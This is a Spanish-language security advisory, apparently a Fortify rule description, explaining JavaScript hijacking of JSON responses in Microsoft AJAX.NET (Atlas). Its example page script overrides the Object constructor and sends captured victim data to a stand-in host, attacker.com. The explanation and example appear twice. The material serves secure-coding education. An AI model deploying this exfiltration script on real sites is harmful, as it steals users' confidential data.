JavaScript Hijacking: Vulnerable Framework

Las aplicaciones que utilizan Microsoft AJAX.NET (Atlas) pueden ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado el acceso a datos confidenciales.

Microsoft AJAX.NET (Atlas) utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.

Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.